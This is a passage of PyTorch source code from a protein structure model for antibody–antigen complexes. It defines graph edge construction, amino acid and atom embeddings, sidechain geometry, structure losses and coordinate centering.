scatter_sum(torch.ones_like(batch_id), batch_id) # [bs]\n N, max_n = batch_id.shape[0], torch.max(lengths)\n offsets = F.pad(torch.cumsum(lengths, dim=0)[:-1], pad=(1, 0), value=0) # [bs]\n # global node index to local index. lni2gni can be implemented as lni + offsets[batch_id]\n gni = torch.arange(N, device=batch_id.device)\n gni2lni = gni - offsets[batch_id] # [N]\n\n # all possible edges (within the same graph)\n # same bid (get rid of self-loop and none edges)\n same_bid = torch.zeros(N, max_n, device=batch_id.device)\n same_bid[(gni, lengths[batch_id] - 1)] = 1\n same_bid = 1 - torch.cumsum(same_bid, dim=-1)\n # shift right and pad 1 to the left\n same_bid = F.pad(same_bid[:, :-1], pad=(1, 0), value=1)\n same_bid[(gni, gni2lni)] = 0 # delete self loop\n row, col = torch.nonzero(same_bid).T # [2, n_edge_all]\n col = col + offsets[batch_id[row]] # mapping from local to global node index\n return (row, col), (offsets, max_n, gni2lni)\n\n def _prepare(self, S, batch_id, segment_ids) -> None:\n (row, col), (offsets, max_n, gni2lni) = self.get_batch_edges(batch_id)\n\n # not global edges\n is_global = sequential_or(S == self.boa_idx, S == self.boh_idx, S == self.bol_idx) # [N]\n row_global, col_global = is_global[row], is_global[col]\n not_global_edges = torch.logical_not(torch.logical_or(row_global, col_global))\n \n # segment ids\n row_seg, col_seg = segment_ids[row], segment_ids[col]\n\n # add to buffer\n self.row, self.col = row, col\n self.offsets, self.max_n, self.gni2lni = offsets, max_n, gni2lni\n self.row_global, self.col_global = row_global, col_global\n self.not_global_edges = not_global_edges\n self.row_seg, self.col_seg = row_seg, col_seg\n\n def _construct_inner_edges(self, X, batch_id, k_neighbors, atom_pos):\n row, col = self.row, self.col\n # all possible ctx edges: same seg, not global\n select_edges = torch.logical_and(self.row_seg == self.col_seg, self.not_global_edges)\n ctx_all_row, ctx_all_col = row[select_edges], col[select_edges]\n # ctx edges\n inner_edges = _knn_edges(\n X, atom_pos, torch.stack([ctx_all_row, ctx_all_col]).T,\n self.atom_pos_pad_idx, k_neighbors,\n (self.offsets, batch_id, self.max_n, self.gni2lni))\n return inner_edges\n\n def _construct_outer_edges(self, X, batch_id, k_neighbors, atom_pos):\n row, col = self.row, self.col\n # all possible inter edges: not same seg, not global\n select_edges = torch.logical_and(self.row_seg != self.col_seg, self.not_global_edges)\n inter_all_row, inter_all_col = row[select_edges], col[select_edges]\n outer_edges = _knn_edges(\n X, atom_pos, torch.stack([inter_all_row, inter_all_col]).T,\n self.atom_pos_pad_idx, k_neighbors,\n (self.offsets, batch_id, self.max_n, self.gni2lni))\n return outer_edges\n\n def _construct_global_edges(self):\n row, col = self.row, self.col\n # edges between global and normal nodes\n select_edges = torch.logical_and(self.row_seg == self.col_seg, torch.logical_not(self.not_global_edges))\n global_normal = torch.stack([row[select_edges], col[select_edges]]) # [2, nE]\n # edges between global and global nodes\n select_edges = torch.logical_and(self.row_global, self.col_global) # self-loop has been deleted\n global_global = torch.stack([row[select_edges], col[select_edges]]) # [2, nE]\n return global_normal, global_global\n\n def _construct_seq_edges(self):\n row, col = self.row, self.col\n # add additional edge to neighbors in 1D sequence (except epitope)\n select_edges = sequential_and(\n torch.logical_or((row - col) == 1, (row - col) == -1), # adjacent in the graph\n self.not_global_edges, # not global edges (also ensure the edges are in the same segment)\n self.row_seg != self.ag_seg_id # not epitope\n )\n seq_adj = torch.stack([row[select_edges], col[select_edges]]) # [2, nE]\n return seq_adj\n\n @torch.no_grad()\n def construct_edges(self, X, S, batch_id, k_neighbors, atom_pos, segment_ids):\n '''\n Memory efficient with complexity of O(Nn) where n is the largest number of nodes in the batch\n '''\n # prepare inputs\n self._prepare(S, batch_id, segment_ids)\n\n ctx_edges, inter_edges = [], []\n\n # edges within chains\n inner_edges = self._construct_inner_edges(X, batch_id, k_neighbors, atom_pos)\n # edges between global nodes and normal/global nodes\n global_normal, global_global = self._construct_global_edges()\n # edges on the 1D sequence\n seq_edges = self._construct_seq_edges()\n\n # construct context edges\n ctx_edges = torch.cat([inner_edges, global_normal, global_global, seq_edges], dim=1) # [2, E]\n\n # construct interaction edges\n inter_edges = self._construct_outer_edges(X, batch_id, k_neighbors, atom_pos)\n\n self._reset_buffer()\n return ctx_edges, inter_edges\n\n\nclass GMEdgeConstructor(EdgeConstructor):\n '''\n Edge constructor for graph matching (kNN internel edges and all bipartite edges)\n '''\n def _construct_inner_edges(self, X, batch_id, k_neighbors, atom_pos):\n row, col = self.row, self.col\n # all possible ctx edges: both in ag or ab, not global\n row_is_ag = self.row_seg == self.ag_seg_id\n col_is_ag = self.col_seg == self.ag_seg_id\n select_edges = torch.logical_and(row_is_ag == col_is_ag, self.not_global_edges)\n ctx_all_row, ctx_all_col = row[select_edges], col[select_edges]\n # ctx edges\n inner_edges = _knn_edges(\n X, atom_pos, torch.stack([ctx_all_row, ctx_all_col]).T,\n self.atom_pos_pad_idx, k_neighbors,\n (self.offsets, batch_id, self.max_n, self.gni2lni))\n return inner_edges\n\n def _construct_global_edges(self):\n row, col = self.row, self.col\n # edges between global and normal nodes\n select_edges = torch.logical_and(self.row_seg == self.col_seg, torch.logical_not(self.not_global_edges))\n global_normal = torch.stack([row[select_edges], col[select_edges]]) # [2, nE]\n # edges between global and global nodes\n row_is_ag = self.row_seg == self.ag_seg_id\n col_is_ag = self.col_seg == self.ag_seg_id\n select_edges = sequential_and(\n self.row_global, self.col_global, # self-loop has been deleted\n row_is_ag == col_is_ag) # only inter-ag or inter-ab globals\n global_global = torch.stack([row[select_edges], col[select_edges]]) # [2, nE]\n return global_normal, global_global\n\n def _construct_outer_edges(self, X, batch_id, k_neighbors, atom_pos):\n row, col = self.row, self.col\n # all possible inter edges: one in ag and one in ab, not global\n row_is_ag = self.row_seg == self.ag_seg_id\n col_is_ag = self.col_seg == self.ag_seg_id\n select_edges = torch.logical_and(row_is_ag != col_is_ag, self.not_global_edges)\n inter_all_row, inter_all_col = row[select_edges], col[select_edges]\n return torch.stack([inter_all_row, inter_all_col]) # [2, E]\n\n\nclass SinusoidalPositionEmbedding(nn.Module):\n \"\"\"\n Sin-Cos Positional Embedding\n \"\"\"\n def __init__(self, output_dim):\n super(SinusoidalPositionEmbedding, self).__init__()\n self.output_dim = output_dim\n\n def forward(self, position_ids):\n device = position_ids.device\n position_ids = position_ids[None] # [1, N]\n indices = torch.arange(self.output_dim // 2, device=device, dtype=torch.float)\n indices = torch.pow(10000.0, -2 * indices / self.output_dim)\n embeddings = torch.einsum('bn,d->bnd', position_ids, indices)\n embeddings = torch.stack([torch.sin(embeddings), torch.cos(embeddings)], dim=-1)\n embeddings = embeddings.reshape(-1, self.output_dim)\n return embeddings\n\n# embedding of amino acids. (default: concat residue embedding and atom embedding to one vector)\nclass AminoAcidEmbedding(nn.Module):\n '''\n [residue embedding + position embedding, mean(atom embeddings + atom position embeddings)]\n '''\n def __init__(self, num_res_type, num_atom_type, num_atom_pos, res_embed_size, atom_embed_size,\n atom_pad_id=VOCAB.get_atom_pad_idx(), relative_position=True, max_position=192): # max position (with IMGT numbering)\n super().__init__()\n self.residue_embedding = nn.Embedding(num_res_type, res_embed_size)\n if relative_position:\n self.res_pos_embedding = SinusoidalPositionEmbedding(res_embed_size) # relative positional encoding\n else:\n self.res_pos_embedding = nn.Embedding(max_position, res_embed_size) # absolute position encoding\n self.atom_embedding = nn.Embedding(num_atom_type, atom_embed_size)\n self.atom_pos_embedding = nn.Embedding(num_atom_pos, atom_embed_size)\n self.atom_pad_id = atom_pad_id\n self.eps = 1e-10 # for mean of atom embedding (some residues have no atom at all)\n \n def forward(self, S, RP, A, AP):\n '''\n :param S: [N], residue types\n :param RP: [N], residue positions\n :param A: [N, n_channel], atom types\n :param AP: [N, n_channel], atom positions\n '''\n res_embed = self.residue_embedding(S) + self.res_pos_embedding(RP) # [N, res_embed_size]\n atom_embed = self.atom_embedding(A) + self.atom_pos_embedding(AP) # [N, n_channel, atom_embed_size]\n atom_not_pad = (AP != self.atom_pad_id) # [N, n_channel]\n denom = torch.sum(atom_not_pad, dim=-1, keepdim=True) + self.eps\n atom_embed = torch.sum(atom_embed * atom_not_pad.unsqueeze(-1), dim=1) / denom # [N, atom_embed_size]\n return torch.cat([res_embed, atom_embed], dim=-1) # [N, res_embed_size + atom_embed_size]\n\n\nclass AminoAcidFeature(nn.Module):\n def __init__(self, embed_size, relative_position=True, edge_constructor=EdgeConstructor, backbone_only=False) -> None:\n super().__init__()\n\n self.backbone_only = backbone_only\n\n # number of classes\n self.num_aa_type = len(VOCAB)\n self.num_atom_type = VOCAB.get_num_atom_type()\n self.num_atom_pos = VOCAB.get_num_atom_pos()\n\n # atom-level special tokens\n self.atom_mask_idx = VOCAB.get_atom_mask_idx()\n self.atom_pad_idx = VOCAB.get_atom_pad_idx()\n self.atom_pos_mask_idx = VOCAB.get_atom_pos_mask_idx()\n self.atom_pos_pad_idx = VOCAB.get_atom_pos_pad_idx()\n \n # embedding\n self.aa_embedding = AminoAcidEmbedding(\n self.num_aa_type, self.num_atom_type, self.num_atom_pos,\n embed_size, embed_size, self.atom_pad_idx, relative_position)\n\n # global nodes and mask nodes\n self.boa_idx = VOCAB.symbol_to_idx(VOCAB.BOA)\n self.boh_idx = VOCAB.symbol_to_idx(VOCAB.BOH)\n self.bol_idx = VOCAB.symbol_to_idx(VOCAB.BOL)\n self.mask_idx = VOCAB.get_mask_idx()\n\n # segment ids\n self.ag_seg_id, self.hc_seg_id, self.lc_seg_id = 1, 2, 3\n\n # atoms encoding\n residue_atom_type, residue_atom_pos = [], []\n backbone = [VOCAB.atom_to_idx(atom[0]) for atom in VOCAB.backbone_atoms]\n n_channel = VOCAB.MAX_ATOM_NUMBER if not backbone_only else 4\n special_mask = VOCAB.get_special_mask()\n for i in range(len(VOCAB)):\n if i == self.boa_idx or i == self.boh_idx or i == self.bol_idx or i == self.mask_idx:\n # global nodes\n residue_atom_type.append([self.atom_mask_idx for _ in range(n_channel)])\n residue_atom_pos.append([self.atom_pos_mask_idx for _ in range(n_channel)])\n elif special_mask[i] == 1:\n # other special token (pad)\n residue_atom_type.append([self.atom_pad_idx for _ in range(n_channel)])\n residue_atom_pos.append([self.atom_pos_pad_idx for _ in range(n_channel)])\n else:\n # normal amino acids\n sidechain_atoms = VOCAB.get_sidechain_info(VOCAB.idx_to_symbol(i))\n atom_type = backbone\n atom_pos = [VOCAB.atom_pos_to_idx(VOCAB.atom_pos_bb) for _ in backbone]\n if not backbone_only:\n sidechain_atoms = VOCAB.get_sidechain_info(VOCAB.idx_to_symbol(i))\n atom_type = atom_type + [VOCAB.atom_to_idx(atom[0]) for atom in sidechain_atoms]\n atom_pos = atom_pos + [VOCAB.atom_pos_to_idx(atom[1]) for atom in sidechain_atoms]\n num_pad = n_channel - len(atom_type)\n residue_atom_type.append(atom_type + [self.atom_pad_idx for _ in range(num_pad)])\n residue_atom_pos.append(atom_pos + [self.atom_pos_pad_idx for _ in range(num_pad)])\n \n # mapping from residue to atom types and positions\n self.residue_atom_type = nn.parameter.Parameter(\n torch.tensor(residue_atom_type, dtype=torch.long),\n requires_grad=False)\n self.residue_atom_pos = nn.parameter.Parameter(\n torch.tensor(residue_atom_pos, dtype=torch.long),\n requires_grad=False)\n\n # sidechain geometry\n if not backbone_only:\n sc_bonds, sc_bonds_mask = [], []\n sc_chi_atoms, sc_chi_atoms_mask = [], []\n for i in range(len(VOCAB)):\n if special_mask[i] == 1:\n sc_bonds.append([])\n sc_chi_atoms.append([])\n else:\n symbol = VOCAB.idx_to_symbol(i)\n atom_type = VOCAB.backbone_atoms + VOCAB.get_sidechain_info(symbol)\n atom2channel = { atom: i for i, atom in enumerate(atom_type) }\n chi_atoms, bond_atoms = VOCAB.get_sidechain_geometry(symbol)\n sc_chi_atoms.append(\n [[atom2channel[atom] for atom in atoms] for atoms in chi_atoms]\n )\n bonds = []\n for src_atom in bond_atoms:\n for dst_atom in bond_atoms[src_atom]:\n bonds.append((atom2channel[src_atom], atom2channel[dst_atom]))\n sc_bonds.append(bonds)\n max_num_chis = max([len(chis) for chis in sc_chi_atoms])\n max_num_bonds = max([len(bonds) for bonds in sc_bonds])\n for i in range(len(VOCAB)):\n num_chis, num_bonds = len(sc_chi_atoms[i]), len(sc_bonds[i])\n num_pad_chis, num_pad_bonds = max_num_chis - num_chis, max_num_bonds - num_bonds\n sc_chi_atoms_mask.append(\n [1 for _ in range(num_chis)] + [0 for _ in range(num_pad_chis)]\n )\n sc_bonds_mask.append(\n [1 for _ in range(num_bonds)] + [0 for _ in range(num_pad_bonds)]\n )\n sc_chi_atoms[i].extend([[-1, -1, -1, -1] for _ in range(num_pad_chis)])\n sc_bonds[i].extend([(-1, -1) for _ in range(num_pad_bonds)])\n\n # mapping residues to their sidechain chi angle atoms and bonds\n self.sidechain_chi_angle_atoms = nn.parameter.Parameter(\n torch.tensor(sc_chi_atoms, dtype=torch.long),\n requires_grad=False)\n self.sidechain_chi_mask = nn.parameter.Parameter(\n torch.tensor(sc_chi_atoms_mask, dtype=torch.bool),\n requires_grad=False\n )\n self.sidechain_bonds = nn.parameter.Parameter(\n torch.tensor(sc_bonds, dtype=torch.long),\n requires_grad=False\n )\n self.sidechain_bonds_mask = nn.parameter.Parameter(\n torch.tensor(sc_bonds_mask, dtype=torch.bool),\n requires_grad=False\n )\n\n # edge constructor\n self.edge_constructor = edge_constructor(self.boa_idx, self.boh_idx, self.bol_idx, self.atom_pos_pad_idx, self.ag_seg_id)\n\n def _is_global(self, S):\n return sequential_or(S == self.boa_idx, S == self.boh_idx, S == self.bol_idx) # [N]\n\n def _construct_residue_pos(self, S):\n # construct residue position. global node is 1, the first residue is 2, ... (0 for padding)\n glbl_node_mask = self._is_global(S)\n glbl_node_idx = torch.nonzero(glbl_node_mask).flatten() # [batch_size * 3] (boa, boh, bol)\n shift = F.pad(glbl_node_idx[:-1] - glbl_node_idx[1:] + 1, (1, 0), value=1) # [batch_size * 3]\n residue_pos = torch.ones_like(S)\n residue_pos[glbl_node_mask] = shift\n residue_pos = torch.cumsum(residue_pos, dim=0)\n return residue_pos\n\n def _construct_segment_ids(self, S):\n # construct segment ids. 1/2/3 for antigen/heavy chain/light chain\n glbl_node_mask = self._is_global(S)\n glbl_nodes = S[glbl_node_mask]\n boa_mask, boh_mask, bol_mask = (glbl_nodes == self.boa_idx), (glbl_nodes == self.boh_idx), (glbl_nodes == self.bol_idx)\n glbl_nodes[boa_mask], glbl_nodes[boh_mask], glbl_nodes[bol_mask] = self.ag_seg_id, self.hc_seg_id, self.lc_seg_id\n segment_ids = torch.zeros_like(S)\n segment_ids[glbl_node_mask] = glbl_nodes - F.pad(glbl_nodes[:-1], (1, 0), value=0)\n segment_ids = torch.cumsum(segment_ids, dim=0)\n return segment_ids\n\n def _construct_atom_type(self, S):\n # construct atom types\n return self.residue_atom_type[S]\n \n def _construct_atom_pos(self, S):\n # construct atom positions\n return self.residue_atom_pos[S]\n\n @torch.no_grad()\n def get_sidechain_chi_angles_atoms(self, S):\n chi_angles_atoms = self.sidechain_chi_angle_atoms[S] # [N, max_num_chis, 4]\n chi_mask = self.sidechain_chi_mask[S] # [N, max_num_chis]\n return chi_angles_atoms, chi_mask\n\n @torch.no_grad()\n def get_sidechain_bonds(self, S):\n bonds = self.sidechain_bonds[S] # [N, max_num_bond, 2]\n bond_mask = self.sidechain_bonds_mask[S]\n return bonds, bond_mask\n\n def update_globel_coordinates(self, X, S, atom_pos=None):\n X = X.clone()\n\n if atom_pos is None: # [N, n_channel]\n atom_pos = self._construct_atom_pos(S)\n\n glbl_node_mask = self._is_global(S)\n chain_id = glbl_node_mask.long()\n chain_id = torch.cumsum(chain_id, dim=0) # [N]\n chain_id[glbl_node_mask] = 0 # set global nodes to 0\n chain_id = chain_id.unsqueeze(-1).repeat(1, atom_pos.shape[-1]) # [N, n_channel]\n \n not_global = torch.logical_not(glbl_node_mask)\n not_pad = (atom_pos != self.atom_pos_pad_idx)[not_global]\n flatten_coord = X[not_global][not_pad] # [N_atom, 3]\n flatten_chain_id = chain_id[not_global][not_pad]\n\n global_x = scatter_mean(\n src=flatten_coord, index=flatten_chain_id,\n dim=0, dim_size=glbl_node_mask.sum() + 1) # because index start from 1\n X[glbl_node_mask] = global_x[1:].unsqueeze(1)\n\n return X\n\n def embedding(self, S, residue_pos=None, atom_type=None, atom_pos=None):\n '''\n :param S: [N], residue types\n '''\n if residue_pos is None: # Residue positions in the chain\n residue_pos = self._construct_residue_pos(S) # [N]\n\n if atom_type is None: # Atom types in each residue\n atom_type = self.residue_atom_type[S] # [N, n_channel]\n\n if atom_pos is None: # Atom position in each residue\n atom_pos = self.residue_atom_pos[S] # [N, n_channel]\n\n H = self.aa_embedding(S, residue_pos, atom_type, atom_pos)\n return H, (residue_pos, atom_type, atom_pos)\n\n @torch.no_grad()\n def construct_edges(self, X, S, batch_id, k_neighbors, atom_pos=None, segment_ids=None):\n\n # prepare inputs\n if atom_pos is None: # Atom position in each residue (pad need to be ignored)\n atom_pos = self.residue_atom_pos[S]\n \n if segment_ids is None:\n segment_ids = self._construct_segment_ids(S)\n\n ctx_edges, inter_edges = self.edge_constructor.construct_edges(\n X, S, batch_id, k_neighbors, atom_pos, segment_ids)\n\n return ctx_edges, inter_edges\n\n def forward(self, X, S, batch_id, k_neighbors):\n H, (_, _, atom_pos) = self.embedding(S)\n ctx_edges, inter_edges = self.construct_edges(\n X, S, batch_id, k_neighbors, atom_pos=atom_pos)\n return H, (ctx_edges, inter_edges)\n\n\nclass SeparatedAminoAcidFeature(AminoAcidFeature):\n '''\n Separate embeddings of atoms and residues\n '''\n def __init__(self, embed_size, atom_embed_size, relative_position=True, edge_constructor=EdgeConstructor, fix_atom_weights=False, backbone_only=False) -> None:\n super().__init__(embed_size, relative_position=relative_position, edge_constructor=edge_constructor, backbone_only=backbone_only)\n atom_weights_mask = self.residue_atom_type == self.atom_pad_idx\n self.register_buffer('atom_weights_mask', atom_weights_mask)\n self.fix_atom_weights = fix_atom_weights\n if fix_atom_weights:\n atom_weights = torch.ones_like(self.residue_atom_type, dtype=torch.float)\n else:\n atom_weights = torch.randn_like(self.residue_atom_type, dtype=torch.float)\n atom_weights[atom_weights_mask] = 0\n self.atom_weight = nn.parameter.Parameter(atom_weights, requires_grad=not fix_atom_weights)\n self.zero_atom_weight = nn.parameter.Parameter(torch.zeros_like(atom_weights), requires_grad=False)\n \n # override\n self.aa_embedding = AminoAcidEmbedding(\n self.num_aa_type, self.num_atom_type, self.num_atom_pos,\n embed_size, atom_embed_size, self.atom_pad_idx, relative_position)\n \n def get_atom_weights(self, residue_types):\n weights = torch.where(\n self.atom_weights_mask,\n self.zero_atom_weight,\n self.atom_weight\n ) # [num_aa_classes, max_atom_number(n_channel)]\n if not self.fix_atom_weights:\n weights = F.normalize(weights, dim=-1)\n return weights[residue_types]\n\n def forward(self, X, S, batch_id, k_neighbors, residue_pos=None, smooth_prob=None, smooth_mask=None):\n if residue_pos is None:\n residue_pos = self._construct_residue_pos(S) # [N]\n atom_type = self.residue_atom_type[S] # [N, n_channel]\n atom_pos = self.residue_atom_pos[S] # [N, n_channel]\n\n # residue embedding\n pos_embedding = self.aa_embedding.res_pos_embedding(residue_pos)\n H = self.aa_embedding.residue_embedding(S)\n if smooth_prob is not None:\n res_embeddings = self.aa_embedding.residue_embedding(\n torch.arange(smooth_prob.shape[-1], device=S.device, dtype=S.dtype)\n ) # [num_aa_type, embed_size]\n H[smooth_mask] = smooth_prob.mm(res_embeddings)\n H = H + pos_embedding\n\n # atom embedding\n atom_embedding = self.aa_embedding.atom_embedding(atom_type) +\\\n self.aa_embedding.atom_pos_embedding(atom_pos)\n atom_weights = self.get_atom_weights(S)\n \n ctx_edges, inter_edges = self.construct_edges(\n X, S, batch_id, k_neighbors, atom_pos=atom_pos)\n return H, (ctx_edges, inter_edges), (atom_embedding, atom_weights)\n\n\nclass ProteinFeature:\n def __init__(self, backbone_only=False):\n self.backbone_only = backbone_only\n\n def _cal_sidechain_bond_lengths(self, S, X, aa_feature: AminoAcidFeature):\n bonds, bonds_mask = aa_feature.get_sidechain_bonds(S)\n n = torch.nonzero(bonds_mask)[:, 0] # [Nbonds]\n src, dst = bonds[bonds_mask].T\n src_X, dst_X = X[(n, src)], X[(n, dst)] # [Nbonds, 3]\n bond_lengths = torch.norm(dst_X - src_X, dim=-1)\n return bond_lengths\n\n def _cal_sidechain_chis(self, S, X, aa_feature: AminoAcidFeature):\n chi_atoms, chi_mask = aa_feature.get_sidechain_chi_angles_atoms(S)\n n = torch.nonzero(chi_mask)[:, 0] # [Nchis]\n a0, a1, a2, a3 = chi_atoms[chi_mask].T # [Nchis]\n x0, x1, x2, x3 = X[(n, a0)], X[(n, a1)], X[(n, a2)], X[(n, a3)] # [Nchis, 3]\n u_0, u_1, u_2 = (x1 - x0), (x2 - x1), (x3 - x2) # [Nchis, 3]\n # normals of the two planes\n n_1 = F.normalize(torch.cross(u_0, u_1), dim=-1) # [Nchis, 3]\n n_2 = F.normalize(torch.cross(u_1, u_2), dim=-1) # [Nchis, 3]\n cosChi = (n_1 * n_2).sum(-1) # [Nchis]\n eps = 1e-7\n cosChi = torch.clamp(cosChi, -1 + eps, 1 - eps)\n return cosChi\n\n def _cal_backbone_bond_lengths(self, X, seg_id):\n # loss of backbone (...N-CA-C(O)-N...) bond length\n # N-CA, CA-C, C=O\n bl1 = torch.norm(X[:, 1:4] - X[:, :3], dim=-1) # [N, 3], (N-CA), (CA-C), (C=O)\n # C-N\n bl2 = torch.norm(X[1:, 0] - X[:-1, 2], dim=-1) # [N-1]\n same_chain_mask = seg_id[1:] == seg_id[:-1]\n bl2 = bl2[same_chain_mask]\n bl = torch.cat([bl1.flatten(), bl2], dim=0)\n return bl\n\n def _cal_angles(self, X, seg_id):\n ori_X = X\n X = X[:, :3].reshape(-1, 3) # [N * 3, 3], N, CA, C\n U = F.normalize(X[1:] - X[:-1], dim=-1) # [N * 3 - 1, 3]\n\n # 1. dihedral angles\n u_2, u_1, u_0 = U[:-2], U[1:-1], U[2:] # [N * 3 - 3, 3]\n # backbone normals\n n_2 = F.normalize(torch.cross(u_2, u_1), dim=-1)\n n_1 = F.normalize(torch.cross(u_1, u_0), dim=-1)\n # angle between normals\n eps = 1e-7\n cosD = (n_2 * n_1).sum(-1) # [(N-1) * 3]\n cosD = torch.clamp(cosD, -1 + eps, 1 - eps)\n # D = torch.sign((u_2 * n_1).sum(-1)) * torch.acos(cosD)\n seg_id_atom = seg_id.repeat(1, 3).flatten() # [N * 3]\n same_chain_mask = sequential_and(\n seg_id_atom[:-3] == seg_id_atom[1:-2],\n seg_id_atom[1:-2] == seg_id_atom[2:-1],\n seg_id_atom[2:-1] == seg_id_atom[3:]\n ) # [N * 3 - 3]\n # D = D[same_chain_mask]\n cosD = cosD[same_chain_mask]\n\n # 2. bond angles (C_{n-1}-N, N-CA), (N-CA, CA-C), (CA-C, C=O), (CA-C, C-N_{n+1}), (O=C, C-Nn)\n u_0, u_1 = U[:-1], U[1:] # [N*3 - 2, 3]\n cosA1 = ((-u_0) * u_1).sum(-1) # [N*3 - 2], (C_{n-1}-N, N-CA), (N-CA, CA-C), (CA-C, C-N_{n+1})\n same_chain_mask = sequential_and(\n seg_id_atom[:-2] == seg_id_atom[1:-1],\n seg_id_atom[1:-1] == seg_id_atom[2:]\n )\n cosA1 = cosA1[same_chain_mask] # [N*3 - 2 * num_chain]\n u_co = F.normalize(ori_X[:, 3] - ori_X[:, 2], dim=-1) # [N, 3], C=O\n u_cca = -U[1::3] # [N, 3], C-CA\n u_cn = U[2::3] # [N-1, 3], C-N_{n+1}\n cosA2 = (u_co * u_cca).sum(-1) # [N], (C=O, C-CA)\n cosA3 = (u_co[:-1] * u_cn).sum(-1) # [N-1], (C=O, C-N_{n+1})\n same_chain_mask = (seg_id[:-1] == seg_id[1:]) # [N-1]\n cosA3 = cosA3[same_chain_mask]\n cosA = torch.cat([cosA1, cosA2, cosA3], dim=-1)\n cosA = torch.clamp(cosA, -1 + eps, 1 - eps)\n\n return cosD, cosA\n\n def coord_loss(self, pred_X, true_X, batch_id, atom_mask, reference=None):\n pred_bb, true_bb = pred_X[:, :4], true_X[:, :4]\n bb_mask = atom_mask[:, :4]\n true_X = true_X.clone()\n ops = []\n\n align_obj = pred_bb if reference is None else reference[:, :4]\n\n for i in range(torch.max(batch_id) + 1):\n is_cur_graph = batch_id == i\n cur_bb_mask = bb_mask[is_cur_graph]\n _, R, t = kabsch_torch(\n true_bb[is_cur_graph][cur_bb_mask],\n align_obj[is_cur_graph][cur_bb_mask],\n requires_grad=True)\n true_X[is_cur_graph] = torch.matmul(true_X[is_cur_graph], R.T) + t\n ops.append((R.detach(), t.detach()))\n\n xloss = F.smooth_l1_loss(\n pred_X[atom_mask], true_X[atom_mask],\n reduction='sum') / atom_mask.sum() # atom-level loss\n bb_rmsd = torch.sqrt(((pred_X[:, :4] - true_X[:, :4]) ** 2).sum(-1).mean(-1)) # [N]\n return xloss, bb_rmsd, ops\n\n def structure_loss(self, pred_X, true_X, S, cmask, batch_id, xloss_mask, aa_feature, full_profile=False, reference=None):\n atom_pos = aa_feature._construct_atom_pos(S)[cmask]\n seg_id = aa_feature._construct_segment_ids(S)[cmask]\n atom_mask = atom_pos != aa_feature.atom_pos_pad_idx\n atom_mask = torch.logical_and(atom_mask, xloss_mask[cmask])\n\n pred_X, true_X, batch_id = pred_X[cmask], true_X[cmask], batch_id[cmask]\n\n # loss of absolute coordinates\n xloss, bb_rmsd, ops = self.coord_loss(pred_X, true_X, batch_id, atom_mask, reference)\n\n # loss of backbone (...N-CA-C(O)-N...) bond length\n true_bl = self._cal_backbone_bond_lengths(true_X, seg_id)\n pred_bl = self._cal_backbone_bond_lengths(pred_X, seg_id)\n bond_loss = F.smooth_l1_loss(pred_bl, true_bl)\n\n # loss of backbone dihedral angles\n if full_profile:\n true_cosD, true_cosA = self._cal_angles(true_X, seg_id)\n pred_cosD, pred_cosA = self._cal_angles(pred_X, seg_id)\n angle_loss = F.smooth_l1_loss(pred_cosD, true_cosD)\n bond_angle_loss = F.smooth_l1_loss(pred_cosA, true_cosA)\n\n S = S[cmask]\n if self.backbone_only:\n sc_bond_loss, sc_chi_loss = 0, 0\n else:\n # loss of sidechain bonds\n true_sc_bl = self._cal_sidechain_bond_lengths(S, true_X, aa_feature)\n pred_sc_bl = self._cal_sidechain_bond_lengths(S, pred_X, aa_feature)\n sc_bond_loss = F.smooth_l1_loss(pred_sc_bl, true_sc_bl)\n\n # loss of sidechain chis\n if full_profile:\n true_sc_chi = self._cal_sidechain_chis(S, true_X, aa_feature)\n pred_sc_chi = self._cal_sidechain_chis(S, pred_X, aa_feature)\n sc_chi_loss = F.smooth_l1_loss(pred_sc_chi, true_sc_chi)\n\n # exerting constraints on bond lengths only is sufficient\n violation_loss = bond_loss + sc_bond_loss\n loss = xloss + violation_loss\n\n if full_profile:\n details = (xloss, bond_loss, bond_angle_loss, angle_loss, sc_bond_loss, sc_chi_loss)\n else:\n details = (xloss, bond_loss, sc_bond_loss)\n\n return loss, details, bb_rmsd, ops\n\n\nclass SeperatedCoordNormalizer(nn.Module):\n def __init__(self) -> None:\n super().__init__()\n self.mean = torch.tensor(0)\n self.std = torch.tensor(10)\n self.mean = nn.parameter.Parameter(self.mean, requires_grad=False)\n self.std = nn.parameter.Parameter(self.std, requires_grad=False)\n self.boa_idx = VOCAB.symbol_to_idx(VOCAB.BOA)\n\n def normalize(self, X):\n X = (X - self.mean) / self.std\n return X\n\n def unnormalize(self, X):\n X = X * self.std + self.mean\n return X\n\n def centering(self, X, S, batch_id, aa_feature: AminoAcidFeature):\n # centering antigen and antibody separatedly\n segment_ids = aa_feature._construct_segment_ids(S)\n not_bol = S != aa_feature.bol_idx\n tmp_S = S[not_bol]\n tmp_X = aa_feature.update_globel_coordinates(X[not_bol], tmp_S)\n self.ag_centers = tmp_X[tmp_S == aa_feature.boa_idx][:, 0]\n self.ab_centers = tmp_X[tmp_S == aa_feature.boh_idx][:, 0]\n\n is_ag = segment_ids == aa_feature.ag_seg_id\n is_ab = torch.logical_not(is_ag)\n\n # compose centers\n centers = torch.zeros(X.shape[0], X.shape[-1], dtype=X.dtype, device=X.device)\n centers[is_ag] = self.ag_centers[batch_id[is_ag]]\n centers[is_ab] = self.ab_centers[batch_id[is_ab]]\n X = X - centers.unsqueeze(1)\n self.is_ag, self.is_ab = is_ag, is_ab\n return X\n\n def uncentering(self, X, batch_id, _type=1):\n if _type == 0:\n # type 0: [N, 3]\n X = X.unsqueeze(1) # then it is type 1\n \n if _type == 0 or _type == 1:\n # type 1: [N, n_channel, 3]\n centers = torch.zeros(X.shape[0], X.shape[-1], dtype=X.dtype, device=X.device)\n centers[self.is_ag] = self.ag_centers[batch_id[self.is_ag]]\n centers[self.is_ab] = self.ab_centers[batch_id[self.is_ab]]\n X = X + centers.unsqueeze(1)\n elif _type == 2:\n # type 2: [2, bs, K, 3], X[0] for antigen, X[1] for antibody\n centers = torch.stack([self.ag_centers, self.ab_centers], dim=0) # [2, bs, 3]\n X = X + centers.unsqueeze(-2)\n elif _type == 3:\n # type 3: [2, Ef, 3], X[0] for antigen, X[1] for antibody\n centers = torch.stack([self.ag_centers[batch_id], self.ab_centers[batch_id]], dim=0)\n X = X + centers\n elif _type == 4:\n # type 4: [N, n_channel, 3], but all uncentering to the center of antigen\n centers = self.ag_centers[batch_id]\n X = X + centers.unsqueeze(1)\n else:\n raise NotImplementedError(f'uncentering for type {_type} not implemented')\n\n if _type == 0:\n X = X.squeeze(1)\n return X\n\n def clear_cache(self):\n self.ag_centers, self.ab_centers, self.is_ag, self.is_ab = None, None, None, 